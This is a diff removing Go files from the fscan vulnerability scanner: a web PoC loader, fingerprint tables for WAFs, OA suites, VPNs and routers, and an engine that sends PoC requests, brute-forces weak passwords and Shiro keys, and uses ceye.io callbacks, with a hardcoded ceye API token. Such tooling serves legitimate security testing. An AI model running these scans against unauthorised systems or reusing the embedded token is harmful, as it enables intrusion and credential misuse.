result := make([]string, 0, len(languages))
temp := map[string]struct{}{}
for _, item := range languages {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
-98
View File
@@ -1,98 +0,0 @@
package WebScan
import (
"embed"
"fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
)
//go:embed pocs
var Pocs embed.FS
var once sync.Once
var AllPocs []*lib.Poc
func WebScan(info *common.HostInfo) {
once.Do(initpoc)
var pocinfo = common.Pocinfo
buf := strings.Split(info.Url, "/")
pocinfo.Target = strings.Join(buf[:3], "/")
if pocinfo.PocName != "" {
Execute(pocinfo)
} else {
for _, infostr := range info.Infostr {
pocinfo.PocName = lib.CheckInfoPoc(infostr)
Execute(pocinfo)
}
}
}
func Execute(PocInfo common.PocInfo) {
req, err := http.NewRequest("GET", PocInfo.Target, nil)
if err != nil {
errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err)
common.LogError(errlog)
return
}
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
if common.Cookie != "" {
req.Header.Set("Cookie", common.Cookie)
}
pocs := filterPoc(PocInfo.PocName)
lib.CheckMultiPoc(req, pocs, common.PocNum)
}
func initpoc() {
if common.PocPath == "" {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Printf("[-] init poc error: %v", err)
return
}
for _, one := range entries {
path := one.Name()
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
if poc, _ := lib.LoadPoc(path, Pocs); poc != nil {
AllPocs = append(AllPocs, poc)
}
}
}
} else {
err := filepath.Walk(common.PocPath,
func(path string, info os.FileInfo, err error) error {
if err != nil || info == nil {
return err
}
if !info.IsDir() {
if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") {
poc, _ := lib.LoadPocbyPath(path)
if poc != nil {
AllPocs = append(AllPocs, poc)
}
}
}
return nil
})
if err != nil {
fmt.Printf("[-] init poc error: %v", err)
}
}
}
func filterPoc(pocname string) (pocs []*lib.Poc) {
if pocname == "" {
return AllPocs
}
for _, poc := range AllPocs {
if strings.Contains(poc.Name, pocname) {
pocs = append(pocs, poc)
}
}
return
}
-316
View File
@@ -1,316 +0,0 @@
package info
type RuleData struct {
Name string
Type string
Rule string
}
type Md5Data struct {
Name string
Md5Str string
}
type PocData struct {
Name string
Alias string
}
var RuleDatas = []RuleData{
{"宝塔", "body", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
{"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
{"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
{"绿盟防火墙", "code", "(NSFOCUS NF)"},
{"绿盟防火墙", "headers", "(NSFocus)"},
{"Topsec-Waf", "index", `(<META NAME="Copyright" CONTENT="Topsec Network Security Technology Co.,Ltd"/>","<META NAME="DESCRIPTION" CONTENT="Topsec web UI"/>)`},
{"Anquanbao", "headers", "(Anquanbao)"},
{"BaiduYunjiasu", "headers", "(yunjiasu)"},
{"BigIP", "headers", "(BigIP|BIGipServer)"},
{"BinarySEC", "headers", "(binarysec)"},
{"BlockDoS", "headers", "(BlockDos.net)"},
{"CloudFlare", "headers", "(cloudflare)"},
{"Cloudfront", "headers", "(cloudfront)"},
{"Comodo", "headers", "(Protected by COMODO)"},
{"IBM-DataPower", "headers", "(X-Backside-Transport)"},
{"DenyAll", "headers", "(sessioncookie=)"},
{"dotDefender", "headers", "(dotDefender)"},
{"Incapsula", "headers", "(X-CDN|Incapsula)"},
{"Jiasule", "headers", "(jsluid=)"},
{"KONA", "headers", "(AkamaiGHost)"},
{"ModSecurity", "headers", "(Mod_Security|NOYB)"},
{"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
{"Newdefend", "headers", "(newdefend)"},
{"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
{"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
{"Safedog", "headers", "(Safedog|WAF/2.0)"},
{"SonicWALL", "headers", "(SonicWALL)"},
{"Stingray", "headers", "(X-Mapping-)"},
{"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
{"Usp-Sec", "headers", "(Secure Entry Server)"},
{"Varnish", "headers", "(varnish)"},
{"Wallarm", "headers", "(wallarm)"},
{"阿里云", "code", "(errors.aliyun.com)"},
{"WebKnight", "headers", "(WebKnight)"},
{"Yundun", "headers", "(YUNDUN)"},
{"Yunsuo", "headers", "(yunsuo)"},
{"Coding pages", "header", "(Coding Pages)"},
{"启明防火墙", "body", "(/cgi-bin/webui?op=get_product_model)"},
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
{"Nexus", "code", "(Nexus Repository Manager)"},
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
{"Harbor", "code", "(<title>Harbor</title>)"},
{"Harbor", "cookie", "(harbor-lang)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
{"禅道", "cookie", "(zentaosid)"},
{"协众OA", "code", "(Powered by 协众OA)"},
{"协众OA", "cookie", "(CNOAOASESSID)"},
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
{"atmail-WebMail", "cookie", "(atmail6)"},
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
{"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
{"discuz", "code", "(content=\"Discuz! X\")"},
{"Typecho", "code", "(Typecho</a>)"},
{"金蝶EAS", "code", "(easSessionId)"},
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
{"H3C-AM8000", "code", "(AM8000)"},
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
{"H3C公司产品", "code", "([email protected])"},
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
{"H3C ER5100", "code", "(ER5100系统管理)"},
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
{"CISCO_EPC3925", "code", "(Docsis_system)"},
{"CISCO ASR", "code", "(CISCO ASR)"},
{"H3C ER3200", "code", "(ER3200系统管理)"},
{"万户ezOFFICE", "headers", "(LocLan)"},
{"万户网络", "code", "(css/css_whir.css)"},
{"Spark_Master", "code", "(Spark Master at)"},
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
{"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
{"360主机卫士", "headers", "(zhuji.360.cn)"},
{"Nagios", "headers", "(Nagios Access)"},
{"H3C ER8300", "code", "(ER8300系统管理)"},
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
{"华为 MCU", "code", "(McuR5-min.js)"},
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
{"泛微OA", "headers", "(ecology_JSessionid)"},
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
{"360网站卫士", "code", "(360wzb)"},
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
{"zabbix", "cookie", "(zbx_sessionid)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
{"CISCO_VPN", "headers", "(webvpn)"},
{"360站长平台", "code", "(360-site-verification)"},
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
{"o2security_vpn", "headers", "(client_param=install_active)"},
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
{"CISCO-CX20", "code", "(CISCO-CX20)"},
{"H3C ER5200", "code", "(ER5200系统管理)"},
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
{"H3C ER3100", "code", "(ER3100系统管理)"},
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
{"360webfacil_360WebManager", "code", "(publico/template/)"},
{"Citrix_Netscaler", "code", "(ns_af)"},
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
{"H3C ER3260", "code", "(ER3260系统管理)"},
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
{"Spark_Worker", "code", "(Spark Worker at)"},
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
{"Citrix-ConfProxy", "code", "(confproxy)"},
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
{"华为(HUAWEIUSG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
{"H3C ER6300", "code", "(ER6300系统管理)"},
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
{"H3C ER2100", "code", "(ER2100系统管理)"},
{"jira", "code", "(jira.webresources)"},
{"金和协同管理平台", "code", "(金和协同管理平台)"},
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
{"linksys-vpn", "headers", "(linksys-vpn)"},
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
{"华为(HUAWEISecoway设备", "code", "(Secoway)"},
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
{"Jboss", "headers", "(JBoss)"},
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
{"泛微E-mobile", "headers", "(EMobileServer)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
{"ThinkPHP", "headers", "(ThinkPHP)"},
{"ThinkPHP", "code", "(/Public/static/js/)"},
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
{"Laravel", "headers", "(laravel_session)"},
{"DWR", "code", "(dwr/engine.js)"},
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
{"Jenkins", "code", "(Jenkins)"},
{"红帆OA", "code", "(iOffice)"},
{"VMware vSphere", "code", "(VMware vSphere)"},
{"打印机", "code", "(打印机|media/canon.gif)"},
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
{"用友", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
{"Hadoop Applications", "code", "(/cluster/app/application)"},
{"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
{"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
{"帆软报表", "headers", "(数据决策系统)"},
{"华夏ERP", "headers", "(华夏ERP)"},
{"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
{"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
{"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
{"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
{"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
{"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
{"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
{"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
{"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
{"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
{"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
{"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
{"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
{"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
{"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
{"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
{"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
{"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
{"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
{"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
{"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
{"APACHE-kylin", "code", "(url=kylin)"},
{"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
{"ATLASSIAN-Confluence", "code", "(Atlassian Confluence)"},
{"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
{"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
{"FIT2CLOUD-JumpServer-堡垒机", "code", "(<title>JumpServer</title>)"},
{"Alibaba Nacos", "code", "(<title>Nacos</title>)"},
{"Nagios", "headers", "(nagios admin)"},
{"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
{"h5ai", "code", "(powered by h5ai)"},
{"jeesite", "cookie", "(jeesite.session.id)"},
{"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
{"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
{"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
{"天融信网络审计系统", "code", "(onclick=dlg_download())"},
{"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
{"URP教务系统", "code", "(北京清元优软科技有限公司)"},
{"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
{"正方OA", "code", "(zfoausername)"},
{"希尔OA", "code", "(/heeroa/login.do)"},
{"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
{"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
{"海天OA", "code", "(HTVOS.js)"},
{"信达OA", "code", "(http://www.xdoa.cn</a>)"},
{"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
{"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
{"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
{"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
{"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
{"网神防火墙", "code", "(css/lsec/login.css)"},
{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>|<TITLE>Error 404--Not Found</TITLE>|Welcome to Weblogic Application Server|<title>Oracle WebLogic Server 管理控制台</title>)"},
{"weblogic", "headers", "(WebLogic)"},
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
{"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
{"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
{"用友NC", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg|用友NC|logo/images/ufida_nc.png)"},
{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
{"CMS", "code", "(Powered by .*CMS)"},
{"目录遍历", "code", "(Directory listing for /)"},
{"ATLASSIAN-Confluence", "code", "(confluence.)"},
{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
{"RabbitMQ", "code", "(RabbitMQ Management)"},
{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
{"Spring env", "code", "(logback)"},
{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
}
var Md5Datas = []Md5Data{
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
{"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
{"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
{"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
{"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
{"通达OA", "ed0044587917c76d08573577c8b72883"},
{"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
{"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
{"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
{"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
{"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
{"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
{"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
{"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
{"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
}
var PocDatas = []PocData{
{"致远OA", "seeyon"},
{"泛微OA", "weaver"},
{"通达OA", "tongda"},
{"蓝凌OA", "landray"},
{"ThinkPHP", "thinkphp"},
{"Nexus", "nexus"},
{"齐治堡垒机", "qizhi"},
{"weaver-ebridge", "weaver-ebridge"},
{"weblogic", "weblogic"},
{"zabbix", "zabbix"},
{"VMware vSphere", "vmware"},
{"Jboss", "jboss"},
{"用友", "yongyou"},
{"用友IUFO", "yongyou"},
{"coremail", "coremail"},
{"金山", "kingsoft"},
}
-520
View File
@@ -1,520 +0,0 @@
package lib
import (
"crypto/md5"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"math/rand"
"net/http"
"net/url"
"regexp"
"strings"
"sync"
"time"
)
var (
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
ceyeDomain = "7wtusr.ceye.io"
)
type Task struct {
Req *http.Request
Poc *Poc
}
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
tasks := make(chan Task)
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
go func() {
for task := range tasks {
isVul, _, name := executePoc(task.Req, task.Poc)
if isVul {
result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name)
common.LogSuccess(result)
}
wg.Done()
}
}()
}
for _, poc := range pocs {
task := Task{
Req: req,
Poc: poc,
}
wg.Add(1)
tasks <- task
}
wg.Wait()
close(tasks)
}
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
c := NewEnvOption()
c.UpdateCompileOptions(p.Set)
if len(p.Sets) > 0 {
var setMap StrMap
for _, item := range p.Sets {
if len(item.Value) > 0 {
setMap = append(setMap, StrItem{item.Key, item.Value[0]})
} else {
setMap = append(setMap, StrItem{item.Key, ""})
}
}
c.UpdateCompileOptions(setMap)
}
env, err := NewEnv(&c)
if err != nil {
fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err)
return false, err, ""
}
req, err := ParseRequest(oReq)
if err != nil {
fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err)
return false, err, ""
}
variableMap := make(map[string]interface{})
defer func() { variableMap = nil }()
variableMap["request"] = req
for _, item := range p.Set {
k, expression := item.Key, item.Value
if expression == "newReverse()" {
variableMap[k] = newReverse()
continue
}
err, _ = evalset(env, variableMap, k, expression)
if err != nil {
fmt.Printf("[-] %s evalset error: %v", p.Name, err)
}
}
success := false
//爆破模式,比如tomcat弱口令
if len(p.Sets) > 0 {
success, err = clusterpoc(oReq, p, variableMap, req, env)
return success, nil, ""
}
DealWithRule := func(rule Rules) (bool, error) {
Headers := cloneMap(rule.Headers)
var (
flag, ok bool
)
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range Headers {
if !strings.Contains(v2, "{{"+k1+"}}") {
continue
}
Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query,需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
if err != nil {
//fmt.Println("[-] newRequest error: ",err)
return false, err
}
newRequest.Header = oReq.Header.Clone()
for k, v := range Headers {
newRequest.Header.Set(k, v)
}
Headers = nil
resp, err := DoRequest(newRequest, rule.FollowRedirects)
newRequest = nil
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(strings.TrimSpace(rule.Search), string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
//如果false不继续执行后续rule
// 如果最后一步执行失败,就算前面成功了最终依旧是失败
flag, ok = out.Value().(bool)
if !ok {
flag = false
}
return flag, nil
}
DealWithRules := func(rules []Rules) bool {
successFlag := false
for _, rule := range rules {
flag, err := DealWithRule(rule)
//if err != nil {
// fmt.Printf("[-] %s Execute Rule error: %s\n",p.Name,err.Error())
//}
if err != nil || !flag { //如果false不继续执行后续rule
successFlag = false // 如果其中一步为flag,则直接break
break
}
successFlag = true
}
return successFlag
}
if len(p.Rules) > 0 {
success = DealWithRules(p.Rules)
} else {
for _, item := range p.Groups {
name, rules := item.Key, item.Value
success = DealWithRules(rules)
if success {
return success, nil, name
}
}
}
return success, nil, ""
}
func doSearch(re string, body string) map[string]string {
r, err := regexp.Compile(re)
if err != nil {
return nil
}
result := r.FindStringSubmatch(body)
names := r.SubexpNames()
if len(result) > 1 && len(names) > 1 {
paramsMap := make(map[string]string)
for i, name := range names {
if i > 0 && i <= len(result) {
paramsMap[name] = result[i]
}
}
return paramsMap
}
return nil
}
func newReverse() *Reverse {
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
sub := RandomStr(randSource, letters, 8)
//if true {
// //默认不开启dns解析
// return &Reverse{}
//}
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
u, _ := url.Parse(urlStr)
return &Reverse{
Url: ParseUrl(u),
Domain: u.Hostname(),
Ip: "",
IsDomainNameServer: false,
}
}
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
var strMap StrMap
var tmpnum int
for i, rule := range p.Rules {
if !isFuzz(rule, p.Sets) {
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success {
continue
} else {
return false, err
}
}
setsMap := Combo(p.Sets)
ruleHash := make(map[string]struct{})
look:
for j, item := range setsMap {
//shiro默认只跑10key
if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 {
if item[1] == "cbc" {
continue
} else {
if tmpnum == 0 {
tmpnum = j
}
if j-tmpnum >= 10 {
break
}
}
}
rule1 := cloneRules(rule)
var flag1 bool
var tmpMap StrMap
var payloads = make(map[string]interface{})
var tmpexpression string
for i, one := range p.Sets {
key, expression := one.Key, item[i]
if key == "payload" {
tmpexpression = expression
}
_, output := evalset1(env, variableMap, key, expression)
payloads[key] = output
}
for _, one := range p.Sets {
flag := false
key := one.Key
value := fmt.Sprintf("%v", payloads[key])
for k2, v2 := range rule1.Headers {
if strings.Contains(v2, "{{"+key+"}}") {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value)
flag = true
}
}
if strings.Contains(rule1.Path, "{{"+key+"}}") {
rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value)
flag = true
}
if strings.Contains(rule1.Body, "{{"+key+"}}") {
rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value)
flag = true
}
if flag {
flag1 = true
if key == "payload" {
var flag2 bool
for k, v := range variableMap {
if strings.Contains(tmpexpression, k) {
flag2 = true
